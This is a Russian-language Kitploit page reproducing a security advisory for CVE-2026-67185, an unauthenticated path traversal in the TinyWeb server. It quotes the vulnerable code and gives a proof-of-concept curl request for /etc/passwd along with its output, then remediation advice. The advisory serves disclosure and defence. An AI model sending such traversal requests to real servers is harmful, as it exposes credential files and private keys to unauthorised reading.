Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb- — Уведомление о безопасности: неаутентифицированный обход пути позволяет произвольное чтение файлов (TinyWeb) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-67185-unauthenticated-path-traversal-allows-arbitrary-file-read-tinyweb-
Анализ уязвимостейАнализ КодаЭксплуатацияВеб-безопасностьОбучение и Образование
GitHubtheopaid/cve-2026-67185-unauthenticated-path-traversal-allows-arbitrary-file-read-tinyweb-

CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-

Уведомление о безопасности: неаутентифицированный обход пути позволяет произвольное чтение файлов (TinyWeb)

Репозиторий
21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Бюллетень безопасности: Неаутентифицированный обход каталога позволяет произвольное чтение файлов (TinyWeb)

Присвоенный идентификатор CVE: CVE-2026-67185

Краткое описание

TinyWeb формирует путь к обслуживаемому файлу, соединяя корневой каталог веб-сервера с URL запроса ровно так, как он поступил, без какой-либо нормализации. Удалённый клиент, который никогда не проходил аутентификацию, может вставить последовательности ../ в строку запроса и прочитать любой файл, который может открыть процесс сервера, включая файлы за пределами корневого каталога веб-сервера.

Затронутое программное обеспечение

  • Проект: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
  • Версия, указанная сборкой: TnyWeb/0.0.8
  • Затронутые коммиты: 0b3b5fd (2019-01-09), где путь впервые собирается таким образом, по a381da2 (2023-11-22, последний в ветке ).
master
  • Исправленная версия: отсутствует. У проекта нет релизов с тегами; каждая опубликованная ревизия в этом диапазоне затронута.
  • Классификация

    • CWE-22: Некорректное ограничение имени пути в пределах ограниченного каталога («Обход каталога»)
    • Базовая оценка CVSS 4.0: 8.7 (высокий)
    • Вектор: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

    Модель угроз

    Неаутентифицированный удалённый злоумышленник, который может установить соединение с прослушивающим TCP-портом сервера (9090 в поставляемой конфигурации). Не требуются учётные данные, взаимодействие с пользователем или какой-либо предварительный доступ. Достаточно одного запроса.

    Технические подробности

    HttpBuilder::buildResponse() начинается с настроенного корневого каталога веб-сервера и добавляет поле пути URL непосредственно из разобранного запроса:

    root@kitploit:~
    // src/tiny_http/http_responser.cc:80
    sdsncat(&file_path, server.www.c_str(), server.www.size());
    
    // src/tiny_http/http_responser.cc:83-87
    if (url->field_set & (1 << HTTP_UF_PATH)) {
        unsigned int off = url->fields[HTTP_UF_PATH].offset;
        unsigned int len = url->fields[HTTP_UF_PATH].len;
        sdsncat(&file_path, url->data + off, len);
    }
    
    // src/tiny_http/http_responser.cc:90-94
    std::string f(file_path.data, file_path.len);
    file_type = isRegularFile(f);
    if (0 == file_type) {
        return_val = file->setFile(f);   // stat() + open() on the joined path
    }
    

    Между объединением в строке 86 и вызовом файловой системы в строке 94 нет удаления dot-сегментов (RFC 3986, раздел 5.2.4), нет канонизации с помощью realpath() и нет проверки того, что результат остаётся внутри server.www.

    Парсер URL также не отфильтровывает ... В HttpParser::parseUrlChar() состояние пути принимает любой символ, проходящий проверку isUrlChar(), а . является допустимым символом URL, поэтому ../ достигает buildResponse() без изменений:

    root@kitploit:~
    // src/tiny_http/http_parser.cc:653-654
    case s_requ_path: //finished
        if (isUrlChar(ch))
            return s_requ_path;
    

    Затем HttpFile::setFile() открывает и обслуживает любой полученный путь, используя привилегии процесса сервера:

    root@kitploit:~
    // src/tiny_http/http_model_file.cc:43
    return_val = open(name.c_str(), O_RDONLY);
    

    Примечание: TinyWeb никогда не выполняет процентное декодирование пути URL, поэтому %2e%2e%2f не работает. Работает буквальная форма ../.

    Доказательство концепции

    1. Запустите сервер с поставляемой конфигурацией (прослушивание порта 9090, обслуживание из настроенного корневого каталога веб-сервера).

    2. Отправьте запрос, путь которого поднимается выше корневого каталога веб-сервера. Флаг --path-as-is не позволяет curl свернуть ../ перед отправкой:

    root@kitploit:~
    curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
    
    1. Сервер отвечает 200 OK и возвращает содержимое /etc/passwd:
    root@kitploit:~
    HTTP/1.1 200 OK
    Server: TinyWeb/0.0.8
    Transfer-Encoding: chunked
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    

    Необходимое количество сегментов ../ зависит от того, насколько глубоко расположен корневой каталог веб-сервера. Любое количество, равное глубине корневого каталога или превышающее её, работает, поскольку ядро игнорирует .. в корне файловой системы.

    Воздействие

    Любой удалённый клиент может прочитать любой файл, который процессу сервера разрешено открыть. В конфигурации по умолчанию рабочие процессы запускаются от имени root, поэтому это включает /etc/shadow, закрытые ключи TLS, конфигурационные файлы с учётными данными и исходный код самого приложения в корневом каталоге веб-сервера.

    Устранение уязвимости

    Канонизируйте объединённый путь с помощью realpath() и отклоняйте запрос, если результат не находится внутри настроенного корневого каталога веб-сервера. В качестве эшелонированной защиты удаляйте dot-сегменты во время разбора URL в соответствии с разделом 5.2.4 RFC 3986 и выполняйте процентное декодирование пути перед запуском этой нормализации.

    Скачать инструмент